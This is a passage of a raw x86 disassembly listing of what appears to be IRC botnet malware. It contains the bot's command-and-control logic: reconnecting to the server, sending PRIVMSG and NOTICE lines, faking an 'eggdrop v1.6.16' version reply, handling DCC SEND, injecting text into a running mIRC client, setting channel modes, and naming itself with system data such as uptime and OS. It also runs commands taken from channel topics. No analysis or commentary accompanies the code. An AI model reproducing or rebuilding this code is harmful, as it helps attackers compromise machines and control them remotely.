ebp, esp push ecx push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF2F add esp, 0Ch push dword_41EA84 call sub_40538D pop ecx mov [ebp+var_4], 0EA60h loc_40D38E: ; CODE XREF: sub_40D366:loc_40D419j push offset dword_41E978 call sub_4105FB pop ecx push offset dword_41EA78 call sub_4105FB pop ecx push 2710h push 1 push offset dword_41EA78 push offset dword_41E978 call sub_4050EA add esp, 10h mov dword_41EA84, eax push offset dword_41E978 call sub_4105AD pop ecx push offset dword_41EA78 call sub_4105AD pop ecx cmp dword_41EA84, 0 jz short loc_40D3EE push 1 push 1 call sub_40D043 pop ecx pop ecx jmp short locret_40D41E ; --------------------------------------------------------------------------- loc_40D3EE: ; CODE XREF: sub_40D366+79j push 0 push 0 push 0 call sub_40CF2F add esp, 0Ch push [ebp+var_4] call dword_41709C cmp [ebp+var_4], 0A4CB80h jge short loc_40D419 mov eax, [ebp+var_4] add eax, 0EA60h mov [ebp+var_4], eax loc_40D419: ; CODE XREF: sub_40D366+A6j jmp loc_40D38E ; --------------------------------------------------------------------------- locret_40D41E: ; CODE XREF: sub_40D366+86j leave retn sub_40D366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D420 proc near ; CODE XREF: sub_4020C2:loc_4022A0p ; sub_40A9CF+1219p ... var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 push [ebp+arg_0] push offset aNoticeS ; "NOTICE %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E add esp, 0Ch mov [ebp+var_8], eax lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_8] push eax mov eax, [ebp+var_8] lea eax, [ebp+eax+var_1008] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1008] push eax call sub_416B70 pop ecx pop ecx lea eax, [ebp+var_1008] push eax call sub_416B40 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_41EA84 call sub_4053BF add esp, 0Ch leave retn sub_40D420 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D4AB proc near ; CODE XREF: sub_4020C2+21Bp ; sub_40332B+1A6p ... var_1008 = dword ptr -1008h var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 push [ebp+arg_0] push offset aPrivmsgS ; "PRIVMSG %s :" lea eax, [ebp+var_1004] push eax call sub_416B5E add esp, 0Ch mov [ebp+var_1008], eax lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_1008] push eax mov eax, [ebp+var_1008] lea eax, [ebp+eax+var_1004] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1004] push eax call sub_416B70 pop ecx pop ecx lea eax, [ebp+var_1004] push eax call sub_416B40 pop ecx push eax lea eax, [ebp+var_1004] push eax push dword_41EA84 call sub_4053BF add esp, 0Ch leave retn sub_40D4AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D53F proc near ; CODE XREF: sub_401244+51p ; sub_401244+41Ep ... var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+198h] test eax, eax jz short loc_40D55F jmp locret_40D6C9 ; --------------------------------------------------------------------------- loc_40D55F: ; CODE XREF: sub_40D53F+19j and [ebp+var_8], 0 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 1 jnz short loc_40D58F mov eax, [ebp+arg_0] add eax, 21h push eax push offset aNoticeS ; "NOTICE %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D58F: ; CODE XREF: sub_40D53F+2Ej mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jnz short loc_40D5BB mov eax, [ebp+arg_0] add eax, 21h push eax push offset dword_41A058 lea eax, [ebp+var_1008] push eax call sub_416B5E add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D5BB: ; CODE XREF: sub_40D53F+5Aj mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D5E7 mov eax, [ebp+arg_0] add eax, 21h push eax push offset dword_41A048 lea eax, [ebp+var_1008] push eax call sub_416B5E add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D5E7: ; CODE XREF: sub_40D53F+86j mov eax, [ebp+arg_0] add eax, 21h push eax push offset aPrivmsgS ; "PRIVMSG %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E add esp, 0Ch mov [ebp+var_8], eax loc_40D605: ; CODE XREF: sub_40D53F+4Ej ; sub_40D53F+7Aj ... mov eax, [ebp+arg_0] cmp dword ptr [eax+19Fh], 0 jz short loc_40D63C mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jz short loc_40D629 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D63C loc_40D629: ; CODE XREF: sub_40D53F+DCj push offset dword_41A03C lea eax, [ebp+var_1008] push eax call sub_416B70 pop ecx pop ecx loc_40D63C: ; CODE XREF: sub_40D53F+D0j ; sub_40D53F+E8j lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_8] push eax mov eax, [ebp+var_8] lea eax, [ebp+eax+var_1008] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jz short loc_40D680 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D693 loc_40D680: ; CODE XREF: sub_40D53F+133j push offset dword_41A038 lea eax, [ebp+var_1008] push eax call sub_416B70 pop ecx pop ecx loc_40D693: ; CODE XREF: sub_40D53F+13Fj push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1008] push eax call sub_416B70 pop ecx pop ecx lea eax, [ebp+var_1008] push eax call sub_416B40 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_41EA84 call sub_4053BF add esp, 0Ch locret_40D6C9: ; CODE XREF: sub_40D53F+1Bj leave retn sub_40D53F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D6CB proc near ; CODE XREF: sub_40332B+205p ; sub_40332B+212p ... var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp mov eax, 1004h call sub_416BC0 lea eax, [ebp+arg_4] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_0] push 1000h lea eax, [ebp+var_1004] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1004] push eax call sub_416B70 pop ecx pop ecx lea eax, [ebp+var_1004] push eax call sub_416B40 pop ecx push eax lea eax, [ebp+var_1004] push eax push dword_41EA84 call sub_4053BF add esp, 0Ch leave retn sub_40D6CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D734 proc near ; CODE XREF: sub_40D74D:loc_40D75Ep var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push 0 push offset aMirc ; "mIRC" call dword_4171E8 mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_40D734 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D74D proc near ; CODE XREF: sub_40A9CF+926p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jnz short loc_40D75E jmp locret_40D7E3 ; --------------------------------------------------------------------------- loc_40D75E: ; CODE XREF: sub_40D74D+Aj call sub_40D734 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40D76E jmp short locret_40D7E3 ; --------------------------------------------------------------------------- loc_40D76E: ; CODE XREF: sub_40D74D+1Dj push offset aMirc ; "mIRC" push 1000h push 0 push 4 push 0 push 0FFFFFFFFh call dword_4170C0 mov [ebp+var_8], eax push 0 push 0 push 0 push 0F001Fh push [ebp+var_8] call dword_4170BC mov [ebp+var_C], eax push [ebp+arg_0] push [ebp+var_C] call sub_416B5E pop ecx pop ecx push 0 push 1 push 4C8h push [ebp+var_4] call dword_4171EC push 0 push 1 push 4C9h push [ebp+var_4] call dword_4171EC push [ebp+var_C] call dword_4170B8 push [ebp+var_8] call dword_4170A4 locret_40D7E3: ; CODE XREF: sub_40D74D+Cj ; sub_40D74D+1Fj leave retn sub_40D74D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D7E5 proc near ; CODE XREF: sub_40A9CF+E3p ; sub_40D043+2FAp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push [ebp+arg_0] call sub_416B40 pop ecx mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_40D803 ; --------------------------------------------------------------------------- loc_40D7FC: ; CODE XREF: sub_40D7E5:loc_40D86Dj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40D803: ; CODE XREF: sub_40D7E5+15j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jge short locret_40D86F mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40D82E push 39h push 30h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_40D86D ; --------------------------------------------------------------------------- loc_40D82E: ; CODE XREF: sub_40D7E5+32j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40D86D call sub_410483 test eax, eax jz short loc_40D85A push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_40D86D ; --------------------------------------------------------------------------- loc_40D85A: ; CODE XREF: sub_40D7E5+5Ej push 5Ah push 41h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al loc_40D86D: ; CODE XREF: sub_40D7E5+47j ; sub_40D7E5+55j ... jmp short loc_40D7FC ; --------------------------------------------------------------------------- locret_40D86F: ; CODE XREF: sub_40D7E5+24j leave retn sub_40D7E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D871 proc near ; CODE XREF: sub_40E618+321p var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_7E0 = dword ptr -7E0h var_7DC = byte ptr -7DCh var_7D8 = dword ptr -7D8h var_7D4 = dword ptr -7D4h var_7D0 = dword ptr -7D0h var_7CC = dword ptr -7CCh var_7C8 = dword ptr -7C8h var_7C4 = byte ptr -7C4h var_7C0 = dword ptr -7C0h var_7BC = byte ptr -7BCh var_5BC = dword ptr -5BCh var_5B8 = dword ptr -5B8h var_5B4 = byte ptr -5B4h var_4B4 = byte ptr -4B4h var_490 = byte ptr -490h var_390 = byte ptr -390h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_360 = dword ptr -360h var_35C = dword ptr -35Ch var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_238 = dword ptr -238h var_234 = byte ptr -234h var_213 = byte ptr -213h var_113 = dword ptr -113h var_10F = byte ptr -10Fh var_95 = dword ptr -95h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = byte ptr -7Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 7E8h push edi push offset aPing ; "PING" mov eax, [ebp+arg_C] push dword ptr [eax] call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40D8A7 mov eax, [ebp+arg_C] push dword ptr [eax+4] push offset aPongS ; "PONG %s" call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8A7: ; CODE XREF: sub_40D871+1Dj push offset aPong ; "PONG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40D8C2 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8C2: ; CODE XREF: sub_40D871+4Aj push offset aMode ; "MODE" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40D8DD jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8DD: ; CODE XREF: sub_40D871+65j push offset aPrivmsg ; "PRIVMSG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 pop ecx pop ecx test eax, eax jnz loc_40DB2D mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jz loc_40DB2D mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax+1] cmp eax, 1 jnz loc_40DB2D push offset dword_41A14C mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 pop ecx pop ecx test eax, eax jnz loc_40DA81 mov eax, [ebp+arg_C] cmp dword ptr [eax+10h], 0 jz loc_40DA81 push offset aSend ; "SEND" mov eax, [ebp+arg_C] push dword ptr [eax+10h] call sub_416F74 pop ecx pop ecx test eax, eax jnz loc_40DA81 cmp [ebp+arg_0], 0 jz loc_40DA81 mov eax, [ebp+arg_C] cmp dword ptr [eax+14h], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+18h], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+1Ch], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+20h], 0 jnz short loc_40D98B loc_40D986: ; CODE XREF: sub_40D871+F8j ; sub_40D871+101j ... jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D98B: ; CODE XREF: sub_40D871+113j mov eax, [ebp+arg_C] mov eax, [eax+14h] movsx eax, byte ptr [eax] cmp eax, 22h jnz short loc_40D99E jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D99E: ; CODE XREF: sub_40D871+126j mov eax, [ebp+arg_C] push dword ptr [eax+20h] call sub_416B40 pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+20h] and byte ptr [ecx+eax], 0 push [ebp+arg_4] lea eax, [ebp+var_234] push eax call sub_416B3A ; strcpy pop ecx pop ecx push offset dword_41DB90 lea eax, [ebp+var_213] push eax call sub_416B3A ; strcpy pop ecx pop ecx and [ebp+var_113], 0 push 7Ah push 0 lea eax, [ebp+var_10F] push eax call sub_416B6A add esp, 0Ch mov [ebp+var_95], 1 mov eax, [ebp+arg_C] push dword ptr [eax+18h] call sub_416B9C pop ecx mov [ebp+var_238], eax movzx eax, byte ptr [ebp+var_238] push eax mov eax, [ebp+var_238] shr eax, 8 movzx eax, al push eax mov eax, [ebp+var_238] shr eax, 10h movzx eax, al push eax mov eax, [ebp+var_238] shr eax, 18h movzx eax, al push eax push offset dword_418A50 lea eax, [ebp+var_248] push eax call sub_416B5E add esp, 18h mov eax, [ebp+arg_C] push dword ptr [eax+20h] mov eax, [ebp+arg_C] push dword ptr [eax+1Ch] lea eax, [ebp+var_248] push eax mov eax, [ebp+arg_C] push dword ptr [eax+14h] push [ebp+arg_4] lea eax, [ebp+var_234] push eax call sub_4024F3 add esp, 18h jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DA81: ; CODE XREF: sub_40D871+BAj ; sub_40D871+C7j ... push offset dword_41A138 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 pop ecx pop ecx test eax, eax jz short loc_40DAAD push offset dword_41A12C mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416DDE pop ecx pop ecx test eax, eax jnz short loc_40DAEB loc_40DAAD: ; CODE XREF: sub_40D871+224j cmp [ebp+arg_0], 0 jz short loc_40DAD1 push offset dword_41DD10 push 3B7h push 0 push offset dword_41A108 push [ebp+arg_4] call sub_40D420 add esp, 14h jmp short loc_40DAE6 ; --------------------------------------------------------------------------- loc_40DAD1: ; CODE XREF: sub_40D871+240j push offset aEggdropV1_6_16 ; "eggdrop v1.6.16" push offset dword_41A0E8 push [ebp+arg_4] call sub_40D420 add esp, 0Ch loc_40DAE6: ; CODE XREF: sub_40D871+25Ej jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DAEB: ; CODE XREF: sub_40D871+23Aj push offset dword_41A0E0 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 pop ecx pop ecx test eax, eax jz short loc_40DB16 push offset dword_41A0D8 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call dword_417108 test eax, eax jnz short loc_40DB2D loc_40DB16: ; CODE XREF: sub_40D871+28Ej mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax push eax push [ebp+arg_4] call sub_40D420 pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DB2D: ; CODE XREF: sub_40D871+80j ; sub_40D871+8Dj ... push offset a433 ; "433" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 pop ecx pop ecx test eax, eax jnz loc_40DCFD call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_2CC], eax cmp [ebp+var_2CC], 4 jnb short loc_40DB71 call sub_406AE7 test eax, eax jz loc_40DCB8 loc_40DB71: ; CODE XREF: sub_40D871+2F1j call sub_406A23 lea eax, [ebp+var_390] push eax call sub_408342 pop ecx test eax, eax jnz short loc_40DB9A push offset aUnk ; "UNK" lea eax, [ebp+var_390] push eax call sub_416B3A ; strcpy pop ecx pop ecx loc_40DB9A: ; CODE XREF: sub_40D871+314j call sub_408E8E cmp eax, 400h jbe short loc_40DBB3 call sub_408E8E mov [ebp+var_7E4], eax jmp short loc_40DBBD ; --------------------------------------------------------------------------- loc_40DBB3: ; CODE XREF: sub_40D871+333j mov [ebp+var_7E4], 400h loc_40DBBD: ; CODE XREF: sub_40D871+340j mov eax, [ebp+var_7E4] shr eax, 0Ah mov [ebp+var_36C], eax call sub_408887 mov [ebp+var_2D0], eax mov [ebp+var_368], offset aB ; "B" cmp [ebp+var_2D0], 3E8h jnb short loc_40DBF7 mov [ebp+var_368], offset aA ; "A" loc_40DBF7: ; CODE XREF: sub_40D871+37Aj cmp [ebp+var_2D0], 1F4h jnb short loc_40DC0D mov [ebp+var_368], offset aG ; "G" loc_40DC0D: ; CODE XREF: sub_40D871+390j and [ebp+var_370], 0 mov [ebp+var_364], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_360] rep stosd lea eax, [ebp+var_364] push eax call dword_417030 cmp [ebp+var_360], 5 jnz short loc_40DC54 cmp [ebp+var_35C], 1 jnz short loc_40DC54 mov [ebp+var_370], 1 loc_40DC54: ; CODE XREF: sub_40D871+3CEj ; sub_40D871+3D7j push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax cmp [ebp+var_370], 0 setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push [ebp+var_368] push [ebp+var_36C] push 5Dh push [ebp+var_2CC] push 5Bh push 5Dh lea eax, [ebp+var_390] push eax push 5Bh push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" lea eax, [ebp+var_2C8] push eax call sub_416B5E add esp, 34h jmp short loc_40DCE5 ; --------------------------------------------------------------------------- loc_40DCB8: ; CODE XREF: sub_40D871+2FAj push offset dword_41DB80 lea eax, [ebp+var_2C8] push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_2C8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_2C8] push eax call sub_40D7E5 pop ecx loc_40DCE5: ; CODE XREF: sub_40D871+445j lea eax, [ebp+var_2C8] push eax push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DCFD: ; CODE XREF: sub_40D871+2D0j push offset aError ; "ERROR" mov eax, [ebp+arg_C] push dword ptr [eax] call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40DD25 push 0 push 0 push 0 call sub_40D366 add esp, 0Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DD25: ; CODE XREF: sub_40D871+49Fj push offset aJoin ; "JOIN" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40DD97 push offset byte_41EF28 push [ebp+arg_4] call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40DD97 mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jz short loc_40DD97 mov eax, [ebp+arg_C] mov eax, [eax+8] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz short loc_40DD74 mov eax, [ebp+arg_C] mov eax, [eax+8] inc eax mov [ebp+var_7E8], eax jmp short loc_40DD80 ; --------------------------------------------------------------------------- loc_40DD74: ; CODE XREF: sub_40D871+4F2j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_7E8], eax loc_40DD80: ; CODE XREF: sub_40D871+501j push [ebp+var_7E8] push offset aModeSSmntu ; "MODE %s +smntu" call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DD97: ; CODE XREF: sub_40D871+4C8j ; sub_40D871+4DBj ... push offset a001 ; "001" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 pop ecx pop ecx test eax, eax jnz loc_40DE70 push 21h mov eax, [ebp+arg_C] push dword ptr [eax+8] lea eax, [ebp+var_4B4] push eax call sub_416B58 add esp, 0Ch lea eax, [ebp+var_4B4] push eax push offset byte_41EF28 call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_4B4] push eax push offset aModeSXi ; "MODE %s +xi" call sub_40D6CB pop ecx pop ecx push offset dword_41EE28 push offset dword_41DB90 push offset dword_419AD0 call sub_40D6CB add esp, 0Ch lea eax, [ebp+var_490] push eax call sub_40CF25 push eax call sub_40449C pop ecx pop ecx test eax, eax jz short loc_40DE58 lea eax, [ebp+var_490] push eax call sub_4041B7 pop ecx test eax, eax jz short loc_40DE43 lea eax, [ebp+var_4B4] push eax push offset aUserhostS ; "USERHOST %s" call sub_40D6CB pop ecx pop ecx jmp short loc_40DE56 ; --------------------------------------------------------------------------- loc_40DE43: ; CODE XREF: sub_40D871+5BBj lea eax, [ebp+var_490] push eax push offset dword_41F028 call sub_416B3A ; strcpy pop ecx pop ecx loc_40DE56: ; CODE XREF: sub_40D871+5D0j jmp short loc_40DE6B ; --------------------------------------------------------------------------- loc_40DE58: ; CODE XREF: sub_40D871+5AAj lea eax, [ebp+var_4B4] push eax push offset aUserhostS ; "USERHOST %s" call sub_40D6CB pop ecx pop ecx loc_40DE6B: ; CODE XREF: sub_40D871:loc_40DE56j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DE70: ; CODE XREF: sub_40D871+53Aj push offset a451 ; "451" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40DE96 push 0 push 1 call sub_40D043 pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DE96: ; CODE XREF: sub_40D871+613j push offset a302 ; "302" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 pop ecx pop ecx test eax, eax jnz loc_40DF3E mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jnz short loc_40DEBE jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DEBE: ; CODE XREF: sub_40D871+646j push offset a@ ; "@" mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416BA8 pop ecx pop ecx mov [ebp+var_5B8], eax cmp [ebp+var_5B8], 0 jnz short loc_40DEE4 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DEE4: ; CODE XREF: sub_40D871+66Cj push 100h mov eax, [ebp+var_5B8] inc eax push eax push offset dword_41F028 call sub_407A56 add esp, 0Ch lea eax, [ebp+var_5B4] push eax mov eax, [ebp+var_5B8] inc eax push eax call sub_404612 pop ecx pop ecx movzx eax, al test eax, eax jnz short loc_40DF20 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF20: ; CODE XREF: sub_40D871+6A8j push 100h lea eax, [ebp+var_5B4] push eax push offset dword_41F028 call sub_407A56 add esp, 0Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF3E: ; CODE XREF: sub_40D871+639j push offset aNick ; "NICK" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40DF8E mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jnz short loc_40DF62 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF62: ; CODE XREF: sub_40D871+6EAj push offset byte_41EF28 push [ebp+arg_4] call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40DF89 mov eax, [ebp+arg_C] mov eax, [eax+8] inc eax push eax push offset byte_41EF28 call sub_416B3A ; strcpy pop ecx pop ecx loc_40DF89: ; CODE XREF: sub_40D871+702j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF8E: ; CODE XREF: sub_40D871+6E1j push offset a332 ; "332" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416DDE pop ecx pop ecx test eax, eax jnz loc_40E128 mov eax, [ebp+arg_10] cmp dword ptr [eax+10h], 0 jz short loc_40DFBF mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] test eax, eax jnz short loc_40DFC4 loc_40DFBF: ; CODE XREF: sub_40D871+73Ej jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DFC4: ; CODE XREF: sub_40D871+74Cj mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] cmp eax, 3Dh jnz loc_40E05F mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_5BC], eax push [ebp+var_5BC] mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_5BC], eax push [ebp+var_5BC] mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+arg_10] cmp dword ptr [eax+14h], 0 jz short loc_40E04E mov eax, [ebp+arg_10] push dword ptr [eax+14h] mov eax, [ebp+arg_10] mov eax, [eax+10h] mov ecx, [ebp+var_5BC] lea eax, [eax+ecx+1] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_40E05F ; --------------------------------------------------------------------------- loc_40E04E: ; CODE XREF: sub_40D871+7BBj mov eax, [ebp+arg_10] mov eax, [eax+10h] mov ecx, [ebp+var_5BC] and byte ptr [eax+ecx+1], 0 loc_40E05F: ; CODE XREF: sub_40D871+760j ; sub_40D871+7DBj mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] test eax, eax jz loc_40E123 lea eax, [ebp+var_7C4] push eax push offset asc_41A07C ; "][" mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40813C add esp, 0Ch mov [ebp+var_7C0], eax and [ebp+var_7C8], 0 loc_40E09A: ; CODE XREF: sub_40D871+8ADj cmp [ebp+var_7C0], 0 jnz short loc_40E0A5 jmp short loc_40E123 ; --------------------------------------------------------------------------- loc_40E0A5: ; CODE XREF: sub_40D871+830j ; sub_40D871+851j mov eax, [ebp+var_7C0] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40E0B5 jmp short loc_40E0C4 ; --------------------------------------------------------------------------- loc_40E0B5: ; CODE XREF: sub_40D871+840j mov eax, [ebp+var_7C0] inc eax mov [ebp+var_7C0], eax jmp short loc_40E0A5 ; --------------------------------------------------------------------------- loc_40E0C4: ; CODE XREF: sub_40D871+842j push [ebp+var_7C0] mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" push 200h lea eax, [ebp+var_7BC] push eax call sub_416BAE add esp, 14h lea eax, [ebp+var_7BC] push eax call sub_40E618 pop ecx lea eax, [ebp+var_7C4] push eax push offset asc_41A07C ; "][" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_7C8], eax mov eax, [ebp+var_7C8] mov [ebp+var_7C0], eax jmp loc_40E09A ; --------------------------------------------------------------------------- loc_40E123: ; CODE XREF: sub_40D871+7FAj ; sub_40D871+832j jmp loc_40E615 